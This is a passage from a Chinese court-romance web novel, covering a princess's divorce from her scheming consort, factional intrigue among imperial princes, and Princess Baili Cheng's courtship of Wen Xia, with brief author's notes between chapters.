“今日阿姐也是这般说的。”颜漪能够感受到百里漾说这话时心底的柔软,他一直都有别的大多数男子没有的柔情与对他人的悲悯。她看向百里漾,眼眸中覆上了一层柔和的光,笑意清浅,“阿姐还说今年的上元灯会会很热闹,让四嫂带着小满去看看。” “上元灯会啊。”百里漾也知道这事,“因为今年陛下旨意上说要普天同庆,湛京城中各行各业都打算热闹一下,由官府出面牵头举办灯会,还延伸着弄了一些赛事出来,届时参与之人怕是会很多。” 灯会是湛京城中年年都有的,但少有举办得如此隆重热闹的。百里漾未封王就封之前的十二年,湛京城中也就出现过三次,他去江都这几年也就兴业九年有过一次,算算时间间隔也快有四年了,难怪今年湛京城中的百姓会如此的热情高涨。 眼看着离正月十五愈来愈近,那些要参加灯会比赛之人的筹备也逐渐接近了尾声,百里漾有时候回王宅的时候路过一些市集还能见到不少热火朝天的筹备场景。 “不知小王可有幸在上元节邀王妃同游?”想到上元节的精彩热闹,百里漾不禁也心生了几分向往,满面笑容朝颜漪发出了邀请。 “大王相邀,妾求之不得。”颜漪配合笑着回道。 定下了上元节外出游玩之事,百里漾的心情更好了。他现在刚洗过,精神头正好,便想着与王妃一同看看游记。这也算是他们入睡之前的一个夜间小节目了,他们会同看一本书,有时候是史书,或是札记话本之类的,会讨论彼此的看法。他很喜欢这样的晚间小互动。 这两日他们看的就是这本游记,著书之人是百年前的一名世族子弟,不爱入仕做官,偏偏喜欢天南地北到处闯荡,一生的足迹说是遍布天下都不为过,不过后来因为年老体衰跑不动就回到祖籍安享晚年,闲来无事做便将自己一生的经历见闻写成游记,里面有不少他走南闯北听到遇到的奇闻异事,读着也颇为有趣。 百里漾正打算凑过去看时,颜漪却将手中的游记放下了,他有些莫名,“今晚不看游记了么,还是今日累了?” “今日阿姐告诉了我一件事。”颜漪看向百里漾,“是有关顾氏子顾晟开的。” 不管如何,顾晟开是定国公的外甥这条关系是抹不掉的,之前又有着云山寺之事在,如今顾晟开有了问题这事,颜漪觉得还是由自己亲自告诉百里漾为好。 顾氏子顾晟开? 百里漾愣了一下才知道王妃说的是谁。他当然知道顾晟开是谁,不说别的,就凭之前顾晟开在云山寺做下的事情就足够让他对这个人没有什么好感了。而对于一个觊觎自己妻子的人,百里漾心里还存着些厌恶。 定国公府与顾氏重新恢复往来的事情他是知晓的,但定国公愿意原谅顾晟开这个外甥是定国公府的家事,即便他身为女婿也不少对此多说什么。据说顾晟开为了表明自己已经知错悔改,已与某家女定下了婚事,出了正月便要成婚了。 百里漾对此不置可否,他管不了别人的事,他只需要确定王妃只对他有意就心满意足了。他对顾晟开的事情并没有多少关注,可是今晚却从王妃的口中重新听到了这个名字,听这意思,竟是长姐也关注到了这个人么? “顾晟开做了什么?”百里漾顿时变得正色肃然,问道。 他了解百里澄,对于长姐来说,顾晟开实在是一个无需过多关注的人。顾晟开身上值得关注的无非是他是定国公外甥这一点,除此之外也没有更多的了。可如今长姐不仅关注到了这个人,还特意告知他们有关这个人的事情,那这件事情就非比寻常了。 颜漪看百里漾并没有因为顾晟开这个人而有什么别的情绪,眸光更柔和了,但事情还是要说的,“长姐说,顾晟开近两年来与宜城驸马走得颇近。” “二姐夫?!” 百里漾瞬间就从贺文渐身上联想到了宜城公主一母同胞的弟弟山阳王,他脑子里冒出来的第一个想法就是顾晟开通过贺文渐投靠了山阳王,也只有这个可能才会让百里澄注意到顾晟开这个人。 虽然这是下意识的想法,但百里漾并没有就此认定这个脑海中瞬间冒出来的猜测,凡事不能看表面。这件事情只能说明顾晟开在被定国公府断绝往来的这一两年里似乎寻求了别的上升途径或靠山,但这并不能将最终的对象直接就指向了山阳王。 在百里漾的印象之中,老六山阳王百里汤一直都是挺老实本分一人,平日里也没有什么存在感,自然而然的也没怎么关注过他。但今日这事给百里漾提了个醒,山阳王平日里在一众兄弟里再是没有什么存在感,他也是已然封王的皇子,去年更是迎娶了王妃。 有一句话百里漾一直都是认同的,没有人是不向往那张龙椅的。作为拥有继承权的皇子,难道就没有想过自己登上皇位的那一日么?必定是想过的,百里漾自己都想过,定安王会想,长夏王也会想,同样山阳王也会想,等最小的七、八皇子再长大些,说不定也会想了。 可想是一回事,争不争又是另一回事了。 保不齐山阳王也想争,或许已经在暗中给自己拉拢势力、积攒实力了。 顾晟开投靠之人是山阳王这事暂时打个问号?山阳王是否也有了争储之心目前也不重要,重要的是顾晟开的行为。顾晟开作为在外人眼中与定国公府绑定的外甥,却在定国公府将女儿嫁为江都王妃后私下与其他皇子有关系的人往来密切,这本身对于定国公府来说是一种背叛,他站到了东宫、椒房的对立面。 百里澄特意将此事告知颜漪,其实还有一层态度,若是将来顾晟开做出了什么有损东宫、椒房利益之事,必定是要将顾晟开处置掉的,届时也别怪他们不顾及定国公府的颜面。当然,如果定国公府能够在事情还没有发展到不可挽回的地步时,自家内部处理了此事自是最好的。 “岳父可知道此事?”百里漾与百里澄是一个意思,所以他如此问道。 “阿爹大概是不知的。”颜漪自然清楚百里澄与百里漾的态度,她的叹息微沉,也表明了定国公府对这件事情的态度,“定国公府与顾氏不是一家,顾晟开姓顾,定国公府能够照顾他一时却不能够照顾他一世。他到底还是辜负了阿爹对他自小的教导。” 前头才来悔过请求原谅,实则私下却与皇子搭上了线。 百里漾听明白了。 定国公对这个外甥并非是没有的感情的,他愿意照顾妹妹和外甥,顺带着用定国公府的资源扶持一下顾晟开这个外甥,但不会允许顾晟开一边享受着定国公府的给他带来好处却在背地里做一些损害定国公府利益的事情。 作为有一定感情基础的外甥,顾晟开并非是不能犯错的,只是他接连犯下的错误都触及到定国公府的底线了,他选择的利益与定国公府已经不在一条线上了。 作为外甥的顾晟开都不顾念舅家这么多年来的照顾与扶持,定国公府又何必非要惦念着那点情分- 作者有话说:更新啦。 第169章 两头不落的贺驸马 王妃说她能够代表定国公府表态, 百里漾是相信的。现在他们已经就顾晟开的问题达成了共识,百里漾也不必担心顾晟开的存在会影响到他与王妃乃至东宫椒房与定国公府了。 兴业十五年的新年对于大部分人来说还是过得很舒心愉快的,当然也有极少部分人过得不仅不愉快, 还丧里丧气的,甚至变成活人微死的状态了。 热闹愉快的上元佳节过去,长夏王一家就要启程离开湛京返回长夏国了。这次回去的队伍可比来时要浩荡些,因为里面加了皇帝亲自任命的一些长夏国的官员以及他们的家眷仆从,不知内情的还以为长夏王这次回京受到了陛下与朝廷多大的奖赏呢。 长夏王这次是被提前贬斥出京的, 前来送行之人寥寥。在这种情况之下, 也就与长夏王一家关系亲厚些的人家愿意来送行, 甚至很多主人家都不是自己亲自起来,而是打发了人过来代表自己。 东宫也派了太子詹事过来送行聊表心意以及展示太子作为兄长的大度宽容, 百里漾本来就不怎么看得上长夏王,更别说长夏王屡屡招惹东宫与椒房, 对他更是厌恶。只是不看僧面看佛面,长夏王是罪有应得, 可是长夏王妃与小满却还是嫂嫂和侄女, 百里漾也派了长史代他与王妃前来送行。 东宫如此做派, 定安王与山阳王等其他兄弟姊妹亦是派人前来为长夏王一家送行。 上元节过后,其余诸侯王又在湛京中逗留了半月余,有朝臣上奏说“藩王离开封地过久诸事不宜,新春伊始,一年之中最重要的春耕也要开始,不好耽误”,请陛下遣藩王们回封地,主持藩国事务。这话说得没问题,皇帝便允了, 令藩王们择日返回封地,勿要误了农时。 于是,某些人任是心中再不想回去也只得令人收拾行李,准备返回。收拾行李需要时间,还可再拖延个三五日。趁着这个时间,赶紧在临去之前将该联络的人联络了,省得等人到了封地之后隔着空间距离诸事不便。 江都王宅这边也在收拾行李。收拾行李这事有底下的人负责去办,无须百里漾与颜漪多加操心。于是,在这最后在湛京停留的这几日时间里,夫妻俩携手至亲朋好友家中一一辞行。虽然大家都知道他们不日就要离京了,但他们若是不亲自来说一声岂不成了不告而别。 总之,在离京之前,大家彼此都各有各的忙。 离京前的某一日夜,一道身披斗篷的身影在定安王宅门房的带领之下遮遮掩掩地入内,约莫一刻钟的时间之后又以同样的方式离开。 “大王,人已离开了。”负责迎送之人前来书房回禀道。 “当真是没用的废物,连个女人都哄不住。”定安王想着方才贺文渐所求之事,万分恼火地骂道。 来人是贺文渐,庆阳侯次子,宜城公主的驸马。任是谁也想不到,他竟然在私底下偷偷投效了定安王,作为定安王安插在湛京之中的暗棋,替他拉拢势力、构建人脉以及获取情报。而贺文渐此人也确实好用,为定安王做了不少有用之事,定安王为此还欣慰过一阵。可现在贺文渐遇上了麻烦,自己摆不平便想来请定安王为他周旋,令他很是反感烦躁。 “大王,此事能帮还是帮一下为好。”一旁的谋臣谏言道。 无需多言,定安王自己也清楚,贺文渐只有是贺驸马才能够发挥他最大的用处,否则一个已经算是被庆阳侯放弃了的儿子,再被自己的妻子都抛弃嫌恶了,他于定安王而言还能有什么用处。因此,为了保住贺文渐的这份用处,他们能帮还是要帮一些的。 贺文渐自己也知道这里道理,所以他才敢觍着脸上门来寻求定安王的帮助。 那么,贺文渐究竟是遇到什么大麻烦了? 也不是别的,是宜城公主不想跟他过了,要与他和离,态度很是坚决,无论贺文渐怎么认错惭悔或是找别人说和都没有用,宜城公主是铁了心地要与他和离。贺文渐实在是没辙了,只能求到定安王的头上来。 这也是定安王怒骂贺文渐“废物,哄个女人都哄不住”的原因。至于宜城公主为什么要与贺文渐和离,还不是之前贺文渐想要争庆阳侯世子之位的事情闹的。 谁也想不到,一向无病无灾的庆阳侯世子说死就死了。他这一死,庆阳侯世子之位空了出来,让本来“安安分分”做着宜城公主驸马的贺文渐那颗本来已经沉寂的心突然活络起来了。以前说长幼有序,让长兄做了世子,他只能认。可现在长兄不在,那合该是他做世子了。 这在贺文渐看来应当是理所当然的事情却遭到了宜城公主强烈的反对,她不允许她的驸马去当那个世子,夫妻俩关于这个问题的所思所想所做是完全对立的,因此爆发了难以调和的矛盾。但贺文渐当时顾不上宜城公主的强烈反对,他想做世子的愿望达到了顶峰,与宜城公主的关系自然也随着时间的推移越闹越僵。 贺文渐好歹与宜城公主做了五六年的夫妻脸,他难道看不出宜城公主不愿意他去争世子之位是出于什么样的考虑么?他知道的,只是他已经不管不顾了。或者说,贺文渐有自信在得到世子之位后解决或者说平息宜城公主的怒气。 但所有的一切都卡在了他没有得到世子之位上。 是的,庆阳侯在世子之位的人选问题上经过了长时间的犹豫不决之后终是下定了决心,他选了幼子,并且奏请立为世子,皇帝已经准了。 也就是说,贺文渐成为世子的心愿彻底落空了。 可世子之位的落空带来的绝对不仅仅是贺文渐没有被庆阳侯选择的问题,还有他为了世子之位导致的与宜城公主夫妻关系走向崩盘。 庆阳侯府不要他了,宜城公主如今也将不要他了。 失去了这两层身份,他贺文渐还能剩下什么? 前者贺文渐已经失去并不可挽回了,后者万万不能再失去了。但宜城公主的决绝让贺文渐感到心惊,随之而来的是对失去当前一切的恐惧。所以他迫切地想要得到宜城公主的原谅,无论是求还是跪,甚至哀求了岳母郑妃来说和,但都改变不了宜城公主不想要他的心意。 其实宜城公主厌嫌他想要和离倒在其次,只要和离不成,他依旧是驸马,但是让他最为恐惧的是皇帝对待和离之事的态度。贺文渐想不明白皇帝为什么会对宜城公主想要和离之事不管不顾乃至是听之任之,难道皇家有一个和离的公主是一件光彩之事么? 无可避免的,贺文渐在处处碰壁之后生出了怨怼之心。但他也确实是走投无路了,否则也不会也不该来找定安王帮忙求情说和。毕竟宜城公主有自己的母妃和弟弟,周贵妃也不是皇后,定安王再是兄长也终究是隔了一层。 也正是因为如此,定安王才会对贺文渐来找他办这事如此恼怒。宜城与他的关系本就平平,他要是找上门去说和,宜城当场就能把他撅回来。 “此事本王会与王妃说的。”定安王揉了揉眉心,说道。心烦归心烦,但也不能真的眼睁睁就看着贺文渐被宜城给撂了。 劝和这事定安王不好亲自出面,让王妃出面正好,顺带着也知会母妃周贵妃一声,看看她能不能从郑妃那里使使劲。 “本王的这些姊妹都是怎么回事,一个个性情都如此凶悍。”因为宜城公主与贺文渐这件事情,定安王又想不通了。他就不明白了,为何他们百里氏的女儿就不能性情柔顺些。 谋臣明白,他家大王这是又在栎阳长公主那里受挫了。 不得不承认,栎阳长公主确实是一个劲敌,东宫有她的辅佐变得更加难以对付。他们家大王更是屡屡在栎阳长公主的手底下吃亏,可以说她是自家大王达成所愿的一只巨大的拦路虎,就连他们这边的人也忍不住对她心有戚戚然。 可定安王可以说出对栎阳长公主抱怨乃至怨恨的话,听的人即便心里认同也是不能做出任何表示的。君臣君臣,定安王是君,栎阳长公主也是君,他们可以彼此抱怨谩骂,他们这些做臣子的一旦表态,不管是赞同还是反对都是对臣子本分的逾越,对君上的轻慢蔑视。 这是绝对不能允许的,定安王也不会允许。 所以,此时此刻缄默对于这件书房里除了定安王之外的人来说是最好的选择。 “贺文渐这边目前来说已是废了一半了。”定安王觉得最近事情实在是太不顺了,前有长夏王遭贬斥很是助长了一波东宫的威风,后有宜城要休弃贺文渐之事,“庆阳侯那老狐狸还真是够心狠的,弃了次子选幼子,他这是瞧着我不如东宫呢。” 定安王不相信庆阳侯这个老狐狸一点都没有察觉到自己的儿子私底下在干什么事,他知道,在选择世子人选的时候却放着已经成年的次子不选而选择了乳臭未干的小儿子,庆阳侯这哪里只是在选世子么,这分明是借着选世子表明庆阳侯府不会站队的立场。 定安王最恨的就是别人觉得他不如东宫,庆阳侯是踩在他的雷区上蹦哒了,叫他如何不恼恨万分。 “庆阳侯鼠目寸光,不识真龙天子,大王何须为此等人生气。”谋臣方才不敢顺着定安王的话骂栎阳长公主,但现在贬损起庆阳侯来是毫无压力,“待大王龙登九五之日,自有清算之时。”- 作者有话说:更新啦,求评论。[可怜] 第170章 惊醒 定安王的恼恨很快谋臣被劝慰的话抚平了。也是, 当下算不得什么,且看将来谁才是最后的赢家。到时候,自有那些人后悔的时候。 “贺文渐这事, 想办法看能不能从别的地方转圜,若是不成也不必太过执着。”定安王想了想,最终如此说道。 “臣等自当尽力而为。”定安王的言外之意,谋臣听懂了。 贺文渐确实有用,但他的有用是建立在他是庆阳侯次子以及宜城公主驸马的基础之上的。如今庆阳侯为了不使庆阳侯府掺进储君之争中显然是放弃了这个儿子, 那么贺文渐基于庆阳侯府带来的好处就没有了。而宜城公主又闹着要和离, 一旦和离成功, 贺文渐算是彻底废掉。 可眼下不是还没有和离么。 好歹是为定安王用心办过事的,不管是出于自身利益还是安抚人心, 定安王都不能坐视这颗曾经好用的“棋子”废掉,能帮就帮, 但他们努力过却无能为力,那也是没有办法的事情。毕竟宜城公主若是铁了心要和离, 定安王这个隔了一层的兄长也说不上什么话不是。 贺文渐的事情在定安王这里过了便过了, 如今离京之期在即, 他手头上还要其他比贺文渐更重要的事情需要他去做,哪有精力与时间耗费在这些歪缠的儿女情长之事上。 和离之事在与定安王拥有差不多心思的人看来是一件没有什么利益可以谋取的无关之事,但对于当事人之一的宜城公主来说却是烦不胜烦,甚至感到身心疲累。她想找人说说话,发泄一下心中的烦闷,但环顾左右,一时之间竟然找不到可以说话排解的对象。 “阿姐,你也觉得我不该与贺文渐和离么?”栎阳长公主宅中,一直喝着闷酒的宜城公主看着从头至尾都没有出声的百里澄, 终于是忍不住问道。 宜城公主将身边的人一个个都摸排了一边,最后找到长姐栎阳长公主这里来了。进门的时候,她看着栎阳长公主宅的大门还有点恍惚,但在见到长姐百里澄时又觉得自己选择来这里是再正常不过的一件事。 长姐见她上门也没有多问,她说想与阿姐小酌几杯,长姐就令人呈上美酒。只是喝着喝着,自己成了喝闷酒,长姐却是真的在小酌,品尝美酒。这样的安静与放任让宜城公主喝闷酒喝不下去了,终于是忍不住开口问道。 “日子是自己过的,该不该的,谁能比过日子的人清楚。”百里澄眸光平静地看着宜城公主,“自然,我们不是寻常人家的女儿,和离是一件大事,只要你想清楚了就好。” 最近宜城公主要和离的事情闹得挺大,事实上宜城公主与驸马不合从前年就已经初见端倪了,现在才正式表态要和离不过是之前压着想等大家欢欢喜喜地过完年再说。除夕宴与年宴上宜城公主与驸马虽然一同出席了,可两人之间冰冷僵硬的气氛,任是谁都能够一眼看得出来。贺驸马是有意伏低做小讨好宜城公主,可宜城公主是一点面子都不愿意给,他奉过来的酒、夹过来的菜,宜城公主是一筷子都不动。 上元节一过,宜城公主就面见皇帝,提出要与驸马贺文渐和离。皇帝似乎早有心理准备,但没有立即应下来,也没有立即否了她的请求,只说让她回去再好好想清楚了。 宜城公主:“我正是因为想清楚了才去求的阿爹。” 正是因为和离之事兹事体大,在没有彻底下定决心之前是不能拿到君父面前说的。原本在面见皇帝之前,宜城公主还心有忐忑,担心皇帝会直接否决了她。可皇帝只是让她考虑清楚了再来,这说明阿爹是愿意支持她的,只要她不后悔就好。 宜城公主清楚,天家公主的婚嫁并不能如同一般人家儿女的婚事那般看待,无论是嫁娶还是和离都不是一件小事,都需要权衡更多,方方面面都要考虑过。她知道和离会有阻力,她本以为最大的阻力会是皇帝阿爹,当皇帝阿爹表露了对此事的态度,惊喜瞬间压过了一切。 然而当宜城公主欢喜地将此事告诉生母郑妃时,她突然发现和离之路上的最大阻碍变成了她的母亲与弟弟。 宜城公主怎么也忘不掉她的生母郑妃在得知她已经面见皇帝阿爹请求准予和离之事时的惊愕,而那份惊愕在瞬间就变成了斥责的一幕。她的生母斥责她任性妄为,由着性子说和离就和离,可曾考虑过母亲与弟弟。又说她虽然是天家公主,可是一旦和离了名声终究会有损,能不离最好是不离。随后她的生母又为贺文渐求情说和,说驸马之前是不好,但如今他已经知错了,就不能给他一个改过的机会么。 人下意识说出来的话往往才是心中最为真实的想法。 尽管生母对她的斥责只是一两句,之后很快就转变成了对她名声未来的担忧,但宜城公主在那一刻就已经明白了,或许生母确实心存对她未来的忧虑,但在这份忧虑之上的是担心她与贺文渐和离会对弟弟山阳王造成影响。 可是,这会造成什么影响呢? 宜城公主也不是什么都不知道,有些事情她只是没有过多地去想,但不代表她真的就想不明白了。而有些事情她过去也不是没有感觉到,只是很多时候愿意装作稀里糊涂没有去戳破那层温情的面纱罢了。 事到如今,宜城公主再想装傻也骗不了自己了。 原来从前说的“手心手背都是肉,儿女都一样看待”是假的,真到了关键时候,她这个做女儿的是需要给弟弟的利益让路的。因为她与贺文渐和离可能会影响到弟弟山阳王,所以她最好不要和离,哪怕要让她强忍着恶心与贺文渐继续过下去。 那一瞬间,宜城公主的心是凉了。她有点想不明白,自己怎么一下子就落入了孤立无援的处境之中了呢? 宜城公主喝了一场闷酒就离开了,百里澄没说什么,叫人送她回宜城公主宅了。不想刚送走宜城公主,又有人来了,不过此人的到来却是让百里澄面露喜色。 “你来的正好,正可品尝好酒。”百里澄让人将宜城公主用过酒具收拾了,换上新的,拉着闻夏让他也尝尝。 闻夏顺着她的意坐下,“方才是宜城公主来过了?” “你瞧见她了?” 如今的闻夏在栎阳长公主宅这里已经靠着刷脸就能够进出了。而他与宜城公主两人一来一去,时间都没多少间隔,在门前遇着也很正常。 “嗯,远远见着了宜城公主宅的车驾。”闻夏点头,迟疑着说道,“我观她似乎面色不好。” 他是在栎阳长公主宅门前遇着了宜城公主不假,但以闻夏目前的身份不好也没有什么立场上去打招呼,只是远远见着了,宜城公主一张脸没什么表情,但眉头不自觉紧皱着,再联系到方才看到的酒桌残局,猜想她怕是心情郁郁,来找百里澄喝酒排解烦忧来了。 “她近来心中烦闷,无人排解,喝了一场闷酒走了。”百里澄也不瞒着闻夏,大致说了一下宜城公主近来的境况,最后说道,“她只是一时想不通,缓过了就好了。” 宜城公主想不通的可不是和离之事,她本就有和离之心,经此事后只会更加坚定和离的决心。她只是一时接受不了生母郑妃突然暴露出来的偏心,就像是一个人沉浸在一场长达二十多年的骗局,突然一朝梦醒,短时间内接受不了,无法转变过来而已。 “宜城公主是一个清醒之人。”闻夏感慨道。 很显然,宜城公主不是那种接受“兄弟好,你将来才会好”式大饼的人,她并不认同生母郑妃的那一套“牺牲自己的婚姻以帮助弟弟寻求助力,日后弟弟必定不会忘了你这个姐姐的付出”的说辞。 这弟弟还没见着怎么样呢就想要先委屈现在的姐姐,将来即便他真成了事,到时候待你如何全凭良心。这种承诺太虚了,有人信也有人不信,宜城公主就不是那个信的人。 “你很欣赏她?”百里澄睨了闻夏一眼。 闻夏点头,似乎是嗅到话里的危险气息又赶紧摇头,在看到百里澄眼眸中的笑意时,他不禁有些气恼,不想搭理百里澄了。 “好了,不逗你了。”百里澄赶紧顺毛,不然真把人惹毛,这人能有十天半月不肯来了。她笑吟吟地给闻夏倒了杯酒,请他品尝。 闻夏看着眼前这杯酒却犹豫了,上一次因为酒闹出来的事情他还记忆犹新呢。若非上一次的事情,他也不能……那夜里的记忆跟不受控制似的腾一下就从脑海里钻出来了,儿事情的开始与眼前的这一幕何其的相似,他觉得他耳根后面的肌肤开始发热了。 “行了,这酒不醉人,再说了一杯而已,你不用害怕。”百里澄看他这副“一朝被蛇咬,十年怕井绳”的模样就有些好笑。 她看着眼前人比一般男子还要细腻许多的皮肤上逐渐染上胭脂般的薄红,心里不住有些痒痒,就想上手去触摸,慢慢地,一点一点地摩挲。她知道那脸上的红似胭脂而非胭脂,它不仅擦不掉,还会随着触摸按压而变得颜色越来越深,只会让人想要不断地触碰下去。 “你别这样看我。”闻夏颇有些不自在地躲过了百里澄的目光,连忙接过她手里的酒,一口喝了下去,因为喝得太猛,险些还被呛着了,又手忙脚乱地掏出帕子擦嘴- 作者有话说:更新啦。 170-180 第171章 澄与夏 闻夏的动作太快让百里澄掏出手帕给他擦擦的动作只做到一半, 只能无奈又遗憾地收了回来,“你看看你,先前犹豫不敢喝, 这会儿又好似有人跟你抢似的。” 他是怕有人抢么?! 为了使自己赶紧从这个尬尴又“危险”的氛围之中脱逃出来,闻夏赶紧将话题重新引回宜城公主和离之事上,也表达了自己的不理解,“记得当初是宜城公主一眼相中贺驸马,如今关系怎闹到如此地步?” 贺文渐是当初宜城公主自己选的。那时只是六皇子的山阳王年纪还小, 贺文渐还只是一个庆阳侯次子, 其中固然有天家嫁女于开国勋贵之家以示恩宠厚待的考量, 但这份考量并不是放在首位的,这门婚事能成最主要的原因还是宜城公主自己乐意, 否则开国勋贵的数量并不少,家中弟子的数量更是多, 没有必要一定要选贺文渐。 可宜城公主选了,还是自己请求皇帝赐婚的, 说明她与贺文渐的婚姻是存在一定的感情基础的, 宜城公主当初是喜欢贺文渐这个人的。 闻夏从进入太学至今入仕为官, 在湛京也生活好几年了,随着他接触之人的身份越来越高,他距离天家愈来愈近,不管是有意还是无意、主动还是被动,他都知道了一些有关天家的事情,其中宜城公主与驸马贺文渐在几年前还是权贵之中少见的恩爱夫妻的代表。 曾经的恩爱夫妻是如何在这短短的几年时间之内走到非要和离的地步的?闻夏知道这事很大的可能是因为前阵子庆阳侯世子的人选迟迟定不下来引爆的,贺驸马是真的很想做世子,但看得出来宜城公主并不想自己的驸马去争那个世子之位,全力制止, 这也是很多人闹不明白的。 庆阳侯府怎么也是开国勋贵之家,不仅有不斐的家资,还有一个世袭的爵位,即便是天家公主也不会嫌钱少,也总要为后代子孙考虑的吧,硬生生将一个世袭侯爵之位往外推,这是什么操作? 寻常人自然是理解不了宜城公主的所思所想所做的,闻夏也觉得不能用世人普遍的想法去思索宜城公主的想法。他本不该问的,只是他与百里澄都说到这个话题上,看着百里澄的眉眼以及流露出来的眸色,他心中忍不住一动,决定问出来。 百里澄见闻夏是单纯的好奇,而他这份好奇却又是因为她才有的,眸中的笑意微深,她朝闻夏勾了勾手,示意他凑近一些。闻夏不明所以,但还是挪动身体往前倾了一些,将自己送到了百里澄面前,让她一伸手就如愿以偿地触摸到了耳根后的肌肤,触感果然如预想之中的细嫩柔滑。 带着点凉意的触感让闻夏一激灵,顿时就要后撤回去却被一声“别动”给定住了,只好等着百里澄吃完了豆腐心满意足后才撤回去。 眼看着闻夏羞恼不已,百里澄也知道适可而止,回答了之前闻夏提出的问题,但并非是直接回答而是说道:“这就要看当初宜城选择贺文渐的原因是什么了。” 闻夏是个聪明人,有些事情不需要说得太明白,他自己就可以想清楚。关于这个问题,旁人或许很难理解,但百里澄相信闻夏会明白的。 闻夏也确实不负所望,很快就想清楚了其中的关窍所在——宜城公主当初选驸马时是基于何种考量才选了贺文渐的。 看看当初贺文渐本身的条件。家世与才貌贺文渐都是有的,才貌使得宜城公主喜欢他;开国勋贵庆阳侯次子的身份使得贺文渐能够匹配公主,最妙的是他前头已经有一个将来要担起侯府门庭的世子长兄,宜城公主嫁过去之后并非宗子之妇,也不用承担支应门庭、照顾家族的重任,更多的时候她只需要与驸马好好过日子就行了。 总结下来,宜城公主本身就是想找一个没有太大野心、能够专注于过好他们自己小日子的驸马,当初的贺文渐刚好撞上来,方方面面又是那么的合适,两人的婚事也自然而然地就成了。 宜城公主希望自己的驸马做一个富贵闲人,贺驸马却不这么想。或许他一开始确实是很契合宜城公主的心意的,也愿意只做个富贵闲人,但时事易移,人心也易变,一切都在前庆阳侯世子暴卒之后开始改变了。 前庆阳侯世子在谁也预想不到情况下死了,打破了现有的安静平衡的局面。人死不能复生,悲痛过后,活着的人还要继续生活下去,庆阳侯府也要将日子继续过下去,可有一个问题摆在了庆阳侯面前——长子没了,空出来的世子之位要交给剩下来哪个儿子? 按照当下的礼法制度,长子没了,往下顺应该是交到次子手中的。贺驸马自己也是这么想的,本以为理所应当、水到渠成的事情却遭遇了重重阻力,最大的阻力竟然是他的妻子。 何其的可笑,又何其的可恨。 百里澄面上显出轻蔑与嘲讽,“贺文渐之前为着这个世子之位可谓是上蹿下跳,明里暗里都闹出了不少的动静,到最后竹篮打水一场空,现在又想着回头了。” 真以为百里氏的女儿是什么垃圾都捡的人么。 明里暗里? 闻夏注意到百里澄话里的深意,难不成贺文渐还在背地里干了什么? 百里澄语气有点慢悠悠的,“贺文渐野心太大了,一个为了世子之位就能翻脸的男人,宜城可不敢要。他私底下可联络了不少人呢,否则哪来的底气与宜城硬气。这不,前一阵子估计是觉得世子之位稳操胜券了,他还偷偷在城中购置了一个院子。” 购置宅院算不得什么不寻常之事,但是前面加上一个“偷偷”就让这件事情变得鬼祟起来了。宅院的作用是住人以及屯放物品,买一个不让人知道的宅院,那就是要在里面藏一个不想让人知道的人或者物品。 不可免俗的,闻夏第一时间想到的是蓄养外室,忍不住嘴角一抽,“贺文渐不会是在外面养了一个女人吧?” 本朝驸马是不能纳妾的,至少是不能在不经过公主的同意之下纳妾,偷偷在外面养女人就更加不能容许了。一时之间,闻夏都不知道该如何评判贺文渐这个驸马爷了。 “这事宜城公主知道么?” “本来是不知道的,但作为长姐,我怎忍心她傻傻的被蒙在鼓里。” 懂了,这事估计是百里澄私底下使人透露给宜城公主知道的,也因此宜城公主才更坚定了和离之心,踹掉贺文渐这个男人。 “长公主也是一个好姐姐啊。”闻夏感慨了一句,这话是真心的夸赞。 百里澄不置可否,只道:“我百里氏的女儿岂能容人欺负了去。” 闻夏看着她鲜少出现的傲娇样觉得稀奇又稀罕,忍不住闷笑,之所以不敢真的笑出声来是怕被百里澄“打击报复”,但饶是如此他也没有能逃了,两边脸颊的软肉被一双手揉搓拉扯,摆弄出各种形状。 百里澄看不得他这得意样,甩出的话不亚于一记惊雷,“过几日五郎他们要离京返回江都,你随我去送送他们。” 闻夏几乎是一瞬间就领会到了百里澄的意思,笑意顿时就惊没了,“啊”了一声。 “啊什么啊,怎么,你不愿意?”百里澄对他的反应不是很满意,扯着他的脸问道。 脸还在百里澄的手里呢,闻夏哪能不乐意,有些别捏又有些忐忑道,“我、我只是没有做好心理准备。” 百里澄:“需要做什么心理准备?五郎与他的王妃你不都是见过了么。” 这么一说闻夏瞬间就回想起了前年的中秋夜他与百里澄在河岸便撞见江都王夫妇俩的场景,江都王眼里的愕然他到现在都忘不了,当时就莫名有一种被撞破的感觉,想拔腿就跑。 虽然知道江都王必然是知道他与百里澄之间关系的,但被动撞破与主动去见区别可大了,何况这还是去给返回封地的江都王他们送行,意味着什么不言而喻。 “你不必害怕,有我呢。”百里澄安慰他,“我们的关系迟早要让身边人知晓的,如今只是一个开始而已,你若是还要做心理准备,现在便记得要开始了。” 言下之意,如今只是去见弟弟,将来还会到御前,让帝后也知晓。而真是到了那个时候,差不多天下人也要知晓他们之间的关系了。 想到这,闻夏看着近前笑靥如花的百里澄有些恍惚,他想起了他们第一次见面的时候,那个时候的他哪里想过彼此之间的关系会发展成为如今的模样。 不过,这个发展他也很喜欢就是了。 另一边的百里漾还不知道自己的长姐即将带着未来姐夫来给他送行,他刚刚送走了一名登门的不速之客。人一走,百里漾之前还佯装客气的脸就拉下来了,“他也真行,是如何想到要来找我求情的?” “恐怕贺驸马不止找了大王你一人,各家府上但凡能够说得上话的都去请托过了。”颜漪对此看得明白,说道。 方才来人正是贺文渐,他来是为了拜托百里漾去宜城公主面前为他求情的。贺文渐自然知道无缘无故的百里漾凭什么会帮他,故而在言语之间隐晦地许出了一点好处,还扯上了庆阳侯府。百里漾必定不会应承他,只是说了些“尽力而为”的客套话将人打发走了- 作者有话说:更新啦。 第172章 离京之前 “怎么说这也是二姐的私事, 我做弟弟的怎好掺和进去。”百里漾在颜漪对面的坐席坐下,继续他们之前被打断的棋局,从棋盒里捻出一颗黑子, 端详了棋盘上的棋子分布,略微思索过后便再上面一角落下。 “若非无计可施,贺驸马怕是也不会求到大王头上。”颜漪手执白子很快接着落下一子,当即将周围的几颗黑子“吃掉”,棋盘上的战局胜利的天平又朝自己这边倾斜了一点。 看着自己好不容易扭转的一点局势瞬间又被王妃扳回去还更显劣势了, 百里漾忍不住懊恼地低声惊呼了一下, 一面努力思索着如何扭转局势, 一面对贺文渐嗤之以鼻,“以二姐的性子怎还肯要他, 他如今不过是在垂死挣扎罢了。” 公主和离不是一件小事,若是只在私底下闹不会让他们所有人都知晓, 可宜城公主都已经求到御前了,湛京上层的高门权贵也就都知道了此事。议论纷纷是必然会有的, 有人是纯看热闹, 有人则是想着如何在此事中获取利益。 自家人更知道自家事, 